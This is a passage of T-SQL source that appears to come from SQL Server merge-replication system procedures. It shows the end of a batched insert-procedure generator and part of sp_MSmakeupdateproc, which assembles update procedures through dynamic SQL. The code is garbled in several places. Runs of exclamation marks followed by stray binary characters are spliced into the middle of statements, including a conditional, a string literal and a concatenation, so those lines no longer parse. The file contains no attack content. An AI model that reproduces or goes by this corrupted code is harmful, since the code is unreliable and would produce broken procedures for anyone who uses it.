-- this loop constructs the formal parameter declarations, the insert statement with actual column names and
-- the union clause which does a union over all rows.
-- phase 10 is the declarations, the rowsunion clause will be inserted into phases 200, 
-- the metadata union clause will be inserted into phase 400.

-- using these instead of directly inserting in the temp table is a performance optimization
select @command1 = ''
select @command2 = ''
select @command3 = ''
set @colordinal = 1
set @rownumber = 1
while @rownumber <= @batchingfactor
begin
    -- insert the metadada parameters for this row.
    set @rownumberstr = convert(nvarchar(5), @rownumber)

    if 1 = @maintainsmetadata
    begin
        select @command1 = @command1 + ',
    @rowguid' + @rownumberstr + ' uniqueidentifier = NULL,
    @generation' + @rownumberstr + ' bigint = NULL,
    @lineage' + @rownumberstr + ' varbinary(311) = NULL,
    @colv' + @rownumberstr + ' varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + ') = NULL'
        --insert into @tempcmd (phase, cmdtext) values (10, @cmdpiece)

        if @rownumber = 1
            select @command2 = @command2 + '
    select @rowguid' + @rownumberstr + ' as rowguid, @generation' + @rownumberstr + ' as generation, @lineage' + @rownumberstr + ' as lineage, @colv' + @rownumberstr + ' as colv'
        else
            select @command2 = @command2 + ' union all
    select @rowguid' + @rownumberstr + ' as rowguid, @generation' + @rownumberstr + ' as generation, @lineage' + @rownumberstr + ' as lineage, @colv' + @rownumberstr + ' as colv'

        if (datalength(@command2) > 7500) or (@rownumber = @batchingfactor)
        begin
            insert into @tempcmd (phase, cmdtext) values (50, @command2)
            
            if @partition_options > 1 and @atpublisher = 1
                insert into @tempcmd (phase, cmdtext) values (80, @command2)    
                
            select @command2 = ''
        end
    end
    else
    begin
        select @command1 = @command1 + ',
    @rowguid' + @rownumberstr + ' uniqueidentifier = NULL'
        --insert into @tempcmd (phase, cmdtext) values (10, @cmdpiece)
    end

    -- now loop over columns 
    select @colnumber = 1
    select @bitable_colnumber = 1
    if @sync_objid = @id
        select @colid = min (column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') 
    else
        select @colid = min(cs.column_id) 
            from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
        where cs.object_id = @sync_objid and 
              co.is_computed=0 and co.user_type_id<>type_id('timestamp') 

    select top 1 @colname = QUOTENAME(C.name), 
    @unquoted_colname = C.name,
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id), 
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                                then QUOTENAME(S.name)+'.' else '' end, 
    @len = C.max_length,
    @prec = C.precision, 
    @scale = C.scale
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @sync_objid and C.column_id = @colid
            
    select @isidentitycolumn = is_identity, 
           @iscomputed=is_computed, 
           @xtype=user_type_id, 
           @isrowguidcol = is_rowguidcol,
           @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
        from sys.columns 
        where object_id = @id and QUOTENAME(name) = @colname
    if @base_typename='nvarchar' or @base_typename='nchar' -- a unit of nchar takes 2 bytes
        select @len = @len/2

    while (@colname is not null)
    begin
        if (!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(U
.v@iscomputed=1 OR type_name(@xtype)='timestamp')
            goto Next_Column

        set @colordstr = convert(nvarchar(4), @colordinal)
        set @colidstr = convert(nvarchar(4), @colid)

        if @generate_subscriber_proc = 0
            exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
        else
            exec @retcode = sys.sp_MSmap_subscriber_type @xtype, @len, @prec, @scale, @schema_option, @typename out, @schname out
        if @@error<>0 OR @retcode <>0 return (1)
        
        select @argname = '@p' + rtrim(convert(nchar, @colordinal))
        if @isrowguidcol = 1
            select @colalias = 'rowguid'
        else
            select @colalias = 'c' + @colidstr
            
        -- add to argument list (phase 1)
        set @command1 = @command1 + ',
    ' + @argname + ' ' + @schname + @typename + ' = NULL'
        if (datalength(@command1) > 7500) or (@rownumber = @batchingfactor)
        begin
            insert into @tempcmd (phase, cmdtext) values (10, @command1)
            select @command1 = ''
        end

        if @colnumber = 1
        begin
            if @rownumber = 1
                select  @command3 = @command3 + '
    select ' + @argname + ' as ' + @colalias
            else
                select @command3 = @command3 + ' union all
    select ' + @argname + ' as ' + @colalias
        end
        else
        begin
            if (@colnumber%10) = 0
                select @command3 = @command3 + ', 
        '
            else 
                select @command3 = @command3 + ', '
                
            select @command3 = @command3 + @argname + ' as ' + @colalias
        end

        if (datalength(@command3) > 7500) or (@rownumber = @batchingfactor)
        begin
            insert into @tempcmd (phase, cmdtext) values (200, @command3)
            select @command3 = ''
        end

        set @col_in_bitable = 0
        if @atpublisher = 1 and @partition_options=0 and @qualified_sync_view is not NULL and @qualified_before_image_table is not NULL
        begin 
            -- only filtering or rowguid columns are present in the before image table
            
            if @isrowguidcol=1
            begin
                set @col_in_bitable = 1
            end
            else
            begin
                -- does updating this column change membership in a partial replica? 
                if exists (select * from dbo.sysmergearticles 
                    where objid = @id and sys.fn_MSisfilteredcolumn(subset_filterclause, @unquoted_colname, @id) = 1)
                    set @col_in_bitable = 1
                else if exists (select * from dbo.sysmergesubsetfilters
                    where art_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @unquoted_colname, @id) = 1)
                    set @col_in_bitable = 1
                else if exists (select * from dbo.sysmergesubsetfilters
                    where join_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @unquoted_colname, @id) = 1)
                    set @col_in_bitable = 1
            end
        end
        
        -- insert the column in the virtual table that is used to insert into the bi table
        -- add the row in the virtual table that is used to insert into the before image table
        if @col_in_bitable = 1
        begin
            if @bitable_colnumber = 1
            begin
                if @rownumber = 1
                    select @cmdpiece = '
    select ' + @argname + ' as ' + @colalias
                else
                    select @cmdpiece = ' union all
    select ' + @argname + ' as ' + @colalias
            end
            else
                select @cmdpiece = ', ' + @argname + ' as ' + @colalias
            select @bitable_colnumber = @bitable_colnumber + 1
            insert into @tempcmd (phase, cmdtext) values (430, @cmdpiece)
        end

        if @rownumber = 1
        begin
            -- this is the actual column names to be specified in the insert
            if @insertcolumnsstarted = 0
            begin
                select @insertcolumnsstarted = 1
                -- this is the select list from the virual table to be specified in the
                -- select statement from which we insert
                select @cmdpiece = @colalias
                insert into @tempcmd (phase, cmdtext) values (170, @cmdpiece)

                -- this is the actual column name
                select @cmdpiece = @colname
                insert into @tempcmd (phase, cmdtext) values (120, @cmdpiece)
            end
            else
            begin
                -- this is the select list from the virual table to be specified in the
                -- select statement from which we insert
                select @cmdpiece = ', 
        ' + @colalias
                insert into @tempcmd (phase, cmdtext) values (170, @cmdpiece)
                
                -- this is the actual column name
                select @cmdpiece = ', 
        ' + @colname
                insert into @tempcmd (phase, cmdtext) values (120, @cmdpiece)
            end

            if @col_in_bitable = 1
            begin
                -- add the column in the column list for insert into the before image table
                select @cmdpiece = ', 
        ' + @colname
                insert into @tempcmd (phase, cmdtext) values (390, @cmdpiece)
                
                -- add the column in the select list for insert into the before image table
                select @cmdpiece = ', 
        ' + ' rows.' + @colalias
                insert into @tempcmd (phase, cmdtext) values (410, @cmdpiece)
            end
            
            -- is this an identity column without 'not for replication' marking?
            if (@isidentitycolumn = 1) and 
               @is_identitynotforreplication = 0
            begin
                -- turning identity insert on is phase 7
                set @cmdpiece = '
            set identity_insert ' + @qualified_name + ' on'
                insert into @tempcmd (phase, cmdtext) values (20, @cmdpiece)

                -- turning identity insert on is phase 13
                set @cmdpiece = '
            set identity_insert ' + @qualified_name + ' off'
                insert into @tempcmd (phase, cmdtext) values (250, @cmdpiece)
            end
        end

Next_Column:
        -- now set up to repeat the loop with the next column
        select @colid = min (column_id) from sys.columns where object_id = @sync_objid and column_id > @colid 
            
        set @colname = NULL
        if @colid is not null
            select top 1 @colname = QUOTENAME(C.name), 
            @unquoted_colname = C.name,
            @isidentitycolumn = C.is_identity,
            @typename = type_name(C.user_type_id), 
            @base_typename = type_name(C.system_type_id), 
            @schname=case when S.name<>'sys' and S.name<>'dbo'
                                then QUOTENAME(S.name)+'.' else '' end, 
            @len = C.max_length,
            @prec = C.precision, 
            @scale = C.scale
            from sys.columns C  
                    INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
                    INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
            where C.object_id = @sync_objid and C.column_id = @colid
              
            select @isidentitycolumn = is_identity, 
               @iscomputed=is_computed, 
               @xtype=user_type_id, 
               @isrowguidcol = is_rowguidcol,
               @is_identitynotforreplication = convert(bit, isnull(columnproperty(@id, name, 'IsIdNotForRepl'), 0)) 
            from sys.columns 
            where object_id = @id and QUOTENAME(name) = @colname
            
        if @base_typename='nvarchar!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<V :' or @base_typename='nchar' -- a unit of nchar takes 2 bytes
            select @len = @len/2
        set @colordinal = @colordinal + 1
        set @colnumber = @colnumber + 1
    end
    select @rownumber = @rownumber + 1
end

if @maintainsmetadata = 1 and @partition_options = 0 and @atpublisher = 1
        and exists (
                                        select * from dbo.sysmergearticles 
                                        where nickname = @tablenick 
                                        and pubid in 
                                        (
                                                select pubid from dbo.sysmergepublications where use_partition_groups <= 0
                                        )
                                )
begin
    -- now for each article for which this article is the parent see if inserting the rows that we
    -- inserted in this proc causes some child rows to qualify. If so update the generation and partchange gen
    -- for the parent row (row in this article) to 0.
    declare @joinnick int
    declare @qualified_jointable nvarchar(517)
    declare @unqualified_jointable nvarchar(300)
    declare @filter_clause nvarchar(2000)
    declare @tablealias sysname
    declare @join_tables_check_phase int

    select @join_tables_check_phase = 1000
    declare f_c CURSOR LOCAL FAST_FORWARD for  select art_nickname, join_filterclause 
        from dbo.sysmergesubsetfilters where join_nickname = @tablenick and pubid = @pubid and (filter_type & 1) = 1
        FOR READ ONLY
    open f_c
    fetch next from f_c into @joinnick, @filter_clause
    while (@@fetch_status <> -1)
    begin
        exec @retcode= sys.sp_MStablenamefromnick @joinnick, @qualified_jointable out, NULL, @unqualified_jointable out
        if @@error<>0 or @retcode<>0 
        begin
            close f_c
            deallocate f_c
            goto Failure
        end
        
        select @tablealias = quotename(name) from sys.objects where object_id=@id

        select @cmdpiece = '
        update dbo.MSmerge_contents with (rowlock)
            set generation = @gen_cur, partchangegen = @gen_cur
        from ('
        insert into @tempcmd (phase, cmdtext) values (@join_tables_check_phase, @cmdpiece)

        -- list of rowguids will be in phase @join_tables_check_phase+10
        select @phaseid = @join_tables_check_phase+10
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(@phaseid, @batchingfactor) order by step

        select @cmdpiece = '
        ) as rows
        inner join dbo.MSmerge_contents cont with (rowlock, READPAST) 
        on cont.rowguid = rows.rowguid 
        and cont.tablenick = ' + @tablenickstr + '
        where rows.rowguid is not NULL and
              rows.rowguid in 
                (select rows.rowguid 
                    from ('
        insert into @tempcmd (phase, cmdtext) values (@join_tables_check_phase+20, @cmdpiece)

        -- list of rowguids
        select @phaseid = @join_tables_check_phase+30
        insert into @tempcmd (phase, cmdtext) select phase, cmdtext from sys.fn_MSgetrowguidvirtualtable(@phaseid, @batchingfactor) order by step
        select @cmdpiece = '
                         ) as rows,  
                         ' + @qualified_name + ' ' + @tablealias + ' with (rowlock, READPAST) ,
                         ' + @qualified_jointable + ' ' + @unqualified_jointable + ' with (rowlock)
                     where ' + @tablealias + '.' + @rgcolname + ' = rows.rowguid
                                                        and rows.rowguid is not null
                            and ' + @filter_clause + '
                 )
        if @@error<>0
        begin
            set @errcode= 3
            goto Failure
        end'
        insert into @tempcmd (phase, cmdtext) values (@join_tables_check_phase+40, @cmdpiece)

        select @join_tables_check_phase = @join_tables_check_phase+50
        fetch next from f_c into @joinnick, @filter_clause
    end
    close f_c
    deallocate f_c
end

-- Now we select out the command text pieces in proper order so that our caller,
-- xp_execresultset will execute the command that creates the stored procedure.
select cmdtext from @tempcmd order by phase, step

--drop table @tempcmd

return(0)


Failure:
    --drop table @tempcmd
    return(1)

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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

-- usage pattern from CMergeDatasource should be:
-- begin tran
-- upd_sp_guid(1, 2, stream1, NULL, bitmap=0x07, setcheck=0x01) which check metadata 
-- upd_sp_guid(NULL, NULL, stream1, NULL, bitmap=0x07, setcheck=0x00) 
-- upd_sp_guid(NULL, NULL, NULL, stream2, bitmap=0x08, setcheck=0x02) which reset metadata
-- commit

create procedure sys.sp_MSmakeupdateproc 
    (@tablename sysname, @ownername sysname, @procname sysname, @pubid uniqueidentifier, @artid uniqueidentifier,
     @generate_downlevel_procs bit = 0, @generate_subscriber_proc bit = 0, @destination_owner sysname = NULL)
as
declare @retcode            int
declare @argname            nvarchar(10)
declare @varname            nvarchar(10)
declare @cmdpiece           nvarchar(4000)
declare @qualified_name     nvarchar(270)
declare @qualified_name2    nvarchar(270)
declare @littlecomp         nvarchar(300)
declare @id                 int
declare @sync_objid         int
declare @idstr              nvarchar(100) 
declare @fast_multicol_updateproc_bit bit
declare @permissions_str    nvarchar(10)
declare @permissions        int
declare @partition_options  tinyint
declare @maintainsmetadata  bit
declare @escaped_qualified_name     nvarchar(270)
declare @rgcol nvarchar(140)
declare @logical_record_parent_nickname int
declare @publication_number smallint
declare @atpublisher            bit
declare @maxschemaguid          uniqueidentifier
declare @max_colv_size_in_bytes int
declare @rgcolname          nvarchar(140)

declare @colname nvarchar(140)
declare @typename nvarchar(258)
declare @base_typename nvarchar(140)
declare @schname nvarchar(140)   --track type owner name when the type is CLR UDT
declare @system_type_id int
declare @colid smallint -- index in sys.columns, used to iterate through sys.columns
declare @colordinal smallint -- index in @setbm, used to interate actual data sent across
declare @colordstr nvarchar(4) -- @colordinal stringification
declare @xtype      int
declare @iscomputed tinyint
declare @isrowguidcol tinyint
declare @separate_update_needed tinyint
declare @update_stmt_started tinyint
declare @isidentitycolumn bit
declare @len smallint
declare @blen smallint
declare @prec int
declare @scale int
declare @tablenick int
declare @tablenickstr nvarchar(12)
declare @bytestr      nvarchar(10)
declare @byteordinal  smallint
declare @numbytes     smallint
declare @bitstr       nvarchar(10)
declare @has_updateable_columns_in_select_list bit
declare @columnsetbitvarname sysname
declare @is_indexing_column bit 
declare @indexing_columns_update_stmt_started bit
declare @schema_option varbinary(8)

set nocount on

/*
** Check for dbo permission
*/
exec @retcode=sys.sp_MSreplcheck_subscribe
if @retcode<>0 or @@ERROR<>0 return (1)

if @ownername is NULL or @ownername=''
    select @qualified_name = QUOTENAME(@tablename)
else    
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)

select @escaped_qualified_name = sys.fn_replreplacesinglequote(@qualified_name)


select @id = object_id(@qualified_name)
if @id is NULL return (1)

if exists (select 1 from dbo.sysmergearticles where objid = @id and column_tracking = 1)
begin
    declare @current_col_count int, @missing_col_count int
    select @current_col_count = count(*) 
            from sys.columns where object_id = @id
    select @missing_col_count = coalesce((select max(missing_col_count) 
            from dbo.sysmergearticles where objid = @id), 0)
    -- 12 bytes per column in table + 1 trailing byte for colv.
    select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
    if @max_colv_size_in_bytes > 2953
            select @max_colv_size_in_bytes = 2953
end
else
    select @max_colv_size_in_bytes = 1
        
select @rgcol = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
if @rgcol is null
    set @rgcol = 'rowguid'


select @sync_objid = sync_objid, @fast_multicol_updateproc_bit = fast_multicol_updateproc, @permissions=check_permissions,
    @permissions_str=convert(nvarchar(10), check_permissions), @schema_option=schema_option,
    @tablenick=nickname
    from dbo.sysmergearticles 
    where artid = @artid and pubid = @pubid
if @tablenick is NULL
    return (1)

set @tablenickstr = rtrim(convert(nchar, @tablenick))

select @partition_options = partition_options, @logical_record_parent_nickname = logical_record_parent_nickname
from dbo.sysmergepartitioninfo
where pubid = @pubid and artid = @artid

select @maxschemaguid = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)

if @partition_options = 2
begin
    -- if this is a republisher of this article, and we are currently
    -- downloading from the top-level publisher, then pretend that this is 
    -- not a well-partitioned article. This is done such that the partition evaluation
    -- and setrowmetadata is done appropriately.
    if sys.fn_MSmerge_islocalpubid(@pubid) = 0 
        and exists (select * from dbo.sysmergearticles 
                    where artid = @artid
                    and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @partition_options = 0
end

set @idstr = rtrim(convert(nchar, @id)) 

select @is_indexing_column = 0
select @separate_update_needed = 0
select @update_stmt_started = 0
select @has_updateable_columns_in_select_list = 0
select @indexing_columns_update_stmt_started = 0

select @qualified_name2 = @qualified_name

if @generate_subscriber_proc = 1
begin
    select @atpublisher = 0
    select @qualified_name = quotename(@destination_owner) + '.' + quotename(@tablename)
    select @escaped_qualified_name = sys.fn_replreplacesinglequote(@qualified_name)
    if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and upload_options in (1,2))
        select @maintainsmetadata = 0
    else
        select @maintainsmetadata = 1
end
else
begin
    set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
    select @atpublisher = sys.fn_MSmerge_islocalpubid(@pubid)
end

select top 1 @publication_number = publication_number 
from dbo.sysmergepublications 
where pubid = @pubid

-- create temp table to select the command text out of
create table #tempcmd (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)
create table #coltab (colname nvarchar(140), paramname nvarchar(10))

-- insert text pieces that don''t repeat for each column

-- phase 0 : create procedure and fixed part of argument list

/* For Yukon version of this proc, add the @maxschemaguidforarticle as the first parameter */
if 0 = @generate_downlevel_procs AND @atpublisher = 1
begin
    if 1 = @maintainsmetadata
    begin
        set @cmdpiece = 'Create procedure dbo.' + quotename(@procname) + ' (@maxschemaguidforarticle uniqueidentifier, @rowguid uniqueidentifier, @setbm varbinary(125) = NULL,
        @metadata_type tinyint, @lineage_old varbinary(311), @generation bigint,
        @lineage_new varbinary(311), @colv varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + ') '
    end
    else
    begin
        set @cmdpiece = 'Create procedure dbo.' + @procname + ' (@maxschemaguidforarticle uniqueidentifier, @rowguid uniqueidentifier, @setbm varbinary(125) = NULL'
    end
end
else
begin
    if 1 = @maintainsmetadata
    begin
        set @cmdpiece = 'Create procedure dbo.' + quotename(@procname) + ' (@rowguid uniqueidentifier, @setbm varbinary(125) = NULL,
        @metadata_type tinyint, @lineage_old varbinary(311), @generation bigint,
        @lineage_new varbinary(311), @colv varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + ') '
    end
    else
    begin
        set @cmdpiece = 'Create procedure dbo.' + @procname !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(XBѻvO+ ' (@rowguid uniqueidentifier, @setbm varbinary(125) = NULL'
    end
end

insert into #tempcmd (phase, cmdtext) values (0, @cmdpiece)

-- phase 1 is rest of argument list; goes in during loop over columns
-- phase 2 paren to close argument list and fixed variable declarations
if 1 = @maintainsmetadata
begin
    set @cmdpiece = ')
as
    declare @match int '
end
else
begin
    set @cmdpiece = ')
as
'
end

insert into #tempcmd (phase, cmdtext) values (2, @cmdpiece)

select @cmdpiece = '
    declare @fset int
    declare @errcode int
    declare @retcode smallint
    declare @rowcount int
    declare @error int
    declare @hasperm bit
    declare @tablenick int
    declare @started_transaction bit
    declare @indexing_column_updated bit
    declare @publication_number smallint

    set nocount on

    if ({ fn ISPALUSER(''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return 4
    end

    select @started_transaction = 0
    select @publication_number = ' + convert(nvarchar(10), @publication_number)+ '
    select @tablenick = ' + @tablenickstr + '

    if is_member(''db_owner'') = 1
        select @hasperm = 1
    else
        select @hasperm = 0

    select @indexing_column_updated = 0'

insert into #tempcmd (phase, cmdtext) values (2, @cmdpiece)

if @permissions>0
begin
    select @cmdpiece = '
    exec @retcode = sys.sp_MSreplcheck_permission @objid = ' + @idstr + ', @type=2, @permissions = ' + @permissions_str + '
    if @retcode<>0 or @@ERROR<>0 return (4)'
    insert into #tempcmd (phase, cmdtext) values (2, @cmdpiece)
end

-- phase 2 - check the max schema guid for article and error out if they do not match
if 0 = @generate_downlevel_procs AND @atpublisher = 1
begin
    set @cmdpiece= '
    declare @maxschemaguid      uniqueidentifier
    select @maxschemaguid = ''' + convert(nvarchar(36),@maxschemaguid) + '''
    if ((@maxschemaguidforarticle IS NOT NULL) and (@maxschemaguid <> @maxschemaguidforarticle))
    begin
        RAISERROR (25007, 11, -1)
        return 5
    end'
    insert into #tempcmd (phase, cmdtext) values (2, @cmdpiece)
end


-- phase 3 is rest of variable declarations; goes in during loop over columns
-- phase 4 begin a transaction, set savepoint in case we roll back, begin select to get current values
set @cmdpiece = '
    if @@trancount = 0
    begin
        begin transaction sub
        select @started_transaction = 1
    end
'
insert into #tempcmd (phase, cmdtext) values (4, @cmdpiece)

/*
** Do not allow out of partition updates at the publisher.
** Check to see if the row being updated is in the partition
** before updating it.
*/
if @atpublisher = 1 AND @partition_options > 0
begin
    -- Get the column name for the rowguid column.
    select @rgcolname = QUOTENAME(name) from sys.columns where object_id = @id and is_rowguidcol = 1
    if @rgcolname is null
        set @rgcolname = 'rowguid'
    -- for > 0 partition_options we will not allow out of partition inserts
    if exists (select * from dbo.sysmergearticles where pubid = @pubid and objid = @id
                                            and len(subset_filterclause) > 0)
                                    or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and 
                                                    (art_nickname = @tablenick or join_nickname = @tablenick))
    begin        
        select @cmdpiece = '
    if not exists (select 1 from ' + QUOTENAME(OBJECT_NAME(sync_objid))
            from dbo.sysmergearticles where pubid = @pubid and objid = @id
        set @cmdpiece = @cmdpiece + ' where ' + @rgcolname + ' = @rowguid) 
    begin
        raiserror(20733, 16, -1, ''' + sys.fn_replreplacesinglequote(@tablename) + ''', ' + convert(char(3), @partition_options) + ')
        set @errcode= 3
        goto Failure
    end'
        insert into #tempcmd (phase, cmdtext) values (4, @cmdpiece)
    end
end

set @cmdpiece = '
    select '
insert into #tempcmd (phase, cmdtext) values (4, @cmdpiece)


-- phase 5 is middle part of select assigning column values to local variables -- goes in loop
-- we will only select columns that are part of a clustering/nonclustering index or is a partitioning column
-- phase 10 -- finish the select, check that metadata matches
set @cmdpiece= '        from ' + @qualified_name + ' where rowguidcol = @rowguid'

if 1 = @maintainsmetadata
begin
    set @cmdpiece= @cmdpiece + '
    set @match = NULL
'
end

insert into #tempcmd (phase, cmdtext) values (10, @cmdpiece)

-- If we are generating downlevel procs then convert lineage from 80 to 90 format.
if (1 = @generate_downlevel_procs )
begin
    set @cmdpiece= '
    if @compatlevel < 90 and @lineage_old is not null
        set @lineage_old = {fn LINEAGE_80_TO_90(@lineage_old)}
'
    insert into #tempcmd (phase, cmdtext) values (10, @cmdpiece)
end

-- now do the loop over all columns and insert the missing pieces

-- do not script out computed columns or timestamp columns
-- we will not select the row from the base table if this article is column tracked.
-- we will only rely on the @setbm parameter then. In the case that it is not column tracked
-- we will only select out columns which are part of a clustered or NC index.
-- ignore the computed, timestamp and identity colums since they cannot be updated.

if @sync_objid = @id
    select @colid = min (column_id) from sys.columns where object_id = @id and is_computed=0 and user_type_id<>type_id('timestamp') 
else
    select @colid = min(cs.column_id) 
        from sys.columns cs inner join sys.columns co on co.object_id=@id and co.name = cs.name
    where cs.object_id = @sync_objid and 
          co.is_computed=0 and co.user_type_id<>type_id('timestamp') 

select @colname = NULL
select top 1 @colname = C.name, 
    @typename = type_name(C.user_type_id), 
    @base_typename = type_name(C.system_type_id), 
    @schname=case when S.name<>'sys' and S.name<>'dbo'
                            then QUOTENAME(S.name)+'.' else '' end,     
    @system_type_id = C.system_type_id,
    @blen = C.max_length,
    @prec = C.precision, 
    @scale = C.scale
    from sys.columns C  
            INNER JOIN sys.types T ON C.user_type_id = T.user_type_id
            INNER JOIN sys.schemas S ON T.schema_id = S.schema_id            
    where C.object_id = @sync_objid and C.column_id = @colid
    
select @isidentitycolumn = is_identity, @iscomputed=is_computed, 
    @xtype=user_type_id,
    @isrowguidcol = is_rowguidcol
    from sys.columns 
    where object_id = @id and name = @colname
    
if ((@base_typename='nvarchar' or @base_typename='nchar') and @blen <> -1)  -- a unit of nchar takes 2 bytes
    set @len = @blen/2
else
    set @len = @blen
    
set @colordinal = 1
declare @firstCol tinyint
set @firstCol = 1
declare @firstSelCol tinyint
set @firstSelCol = 1
declare @firstUpdCol tinyint
set @firstUpdCol = 1
declare @maplen smallint

while (@colname is not null)
begin  
    if @isidentitycolumn = 1 OR @iscomputed=1 OR type_name(@xtype)='timestamp'
        goto Next_Column

    set @colordstr = convert(nvarchar(4), @colordinal)

    if @generate_subscriber_proc = 0
        exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
    else
    begin
        exec @retcode = sys.sp_MSmap_subscriber_type @xtype, @len, @prec, @scale, @schema_option, @typename out, @schname out, @maplen out
        if (@maplen<>0) select @blen = @maplen
    end
        
    if @@ERROR <>0 OR @retcode <>0 
        return (1)

    -- check if separate update statement is needed only if article supports fast multi-column updates.
    -- reset @separate_update_needed
    set @separate_update_needed = 0

    --check if this column is part of the filter or join filter clause.
    -- if so, use a separater update statement f!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Y,vOor it rather than setting bitmask for the one cumulative update statement.
    
    -- does updating this column change membership in a partial replica? 
    if exists (select * from dbo.sysmergearticles where objid = @id and sys.fn_MSisfilteredcolumn(subset_filterclause, @colname, @id) = 1)
        set @separate_update_needed = 1
    else if exists (select * from dbo.sysmergesubsetfilters where art_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @id) = 1)
        set @separate_update_needed = 1
    else if exists (select * from dbo.sysmergesubsetfilters where join_nickname = @tablenick and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @id) = 1)
        set @separate_update_needed = 1
    
    set @colname = QUOTENAME(@colname)

    -- put in argument list element (phase 1)
    set @argname = '@p' + rtrim(@colordstr)
    set @cmdpiece = ',
        ' + @argname + ' ' + @schname + @typename + ' = NULL '
    insert into #tempcmd (phase, cmdtext) values (1, @cmdpiece)
    insert into #coltab (colname, paramname) values (@colname, @argname)

    if (@isrowguidcol = 1)
        goto Next_Column

    -- check if the current column is an indexing column
    if exists (select * from sys.index_columns 
                where object_id = @id and 
                      column_id=@colid and 
                      index_id >= 1 and 
                      (partition_ordinal > 0 or key_ordinal > 0))
        select @is_indexing_column = 1
    else
        select @is_indexing_column = 0


    -- since blob columns cannot be used in indexing, it is ok to do just the seperate update statement in case of
    -- blob columns and not worry about anything after that. we will do the blob column updates in phase 12
    -- Filtering columns also need to get their separate updates, otherwise we cause a whole bunch of
    -- false and unnecessary partition movements.
    if (sys.fn_IsTypeBlob(@system_type_id,@len) <> 1) and (@separate_update_needed = 1 or @is_indexing_column = 1)
    begin
        set @varname = '@l' + rtrim(@colordstr)
        if @firstSelCol=1
        begin
            set @firstSelCol= 0
            set @cmdpiece= ''
        end
        else
        begin
            set @cmdpiece= ', '
        end
        set @cmdpiece = @cmdpiece + '
        ' + @varname + ' = ' + @colname
        insert into #tempcmd (phase, cmdtext) values (5, @cmdpiece)
        select @has_updateable_columns_in_select_list = 1
        set @cmdpiece = '
    declare ' + @varname + ' ' + @schname + @typename
        insert into #tempcmd (phase, cmdtext) values (3, @cmdpiece)
    end

    -- in phase 15 we will add comparison of old and new values
    if (@typename like '%char%' or @base_typename like '%char%')
    begin
        -- Compare binaries instead of variables so that case changes are caught as different
        set @littlecomp = 'convert(varbinary(' + rtrim(convert(nchar, @blen)) + '), ' + @argname + ')
            = convert(varbinary(' + rtrim(convert(nchar, @blen)) + '), ' + @varname + ')'
    end
    else
    begin
        set @littlecomp = @argname + ' = ' + @varname
    end
        
    if (sys.fn_IsTypeBlob(@system_type_id,@len) = 1) or @separate_update_needed = 1 
    begin
        if sys.fn_IsTypeBlob(@system_type_id,@len) = 1
        begin
            -- for text and image, we just test if argument is null and whether bit is set
            select @cmdpiece =  '
    if ' + @argname + ' is not null
        set @fset = 1
    else    
        exec @fset = sys.sp_MStestbit @setbm, ' + @colordstr
        end
        else
        begin
            set @cmdpiece = '
    if ' + @littlecomp + '
        set @fset = 0
    else if ( ' + @varname + ' is null and ' + @argname + ' is null) 
        set @fset = 0
    else if ' + @argname + ' is not null
        set @fset = 1
    else if @setbm = 0x0
        set @fset = 0
    else
        exec @fset = sys.sp_MStestbit @setbm, ' + @colordstr        
        end
        
        select @cmdpiece = @cmdpiece + '
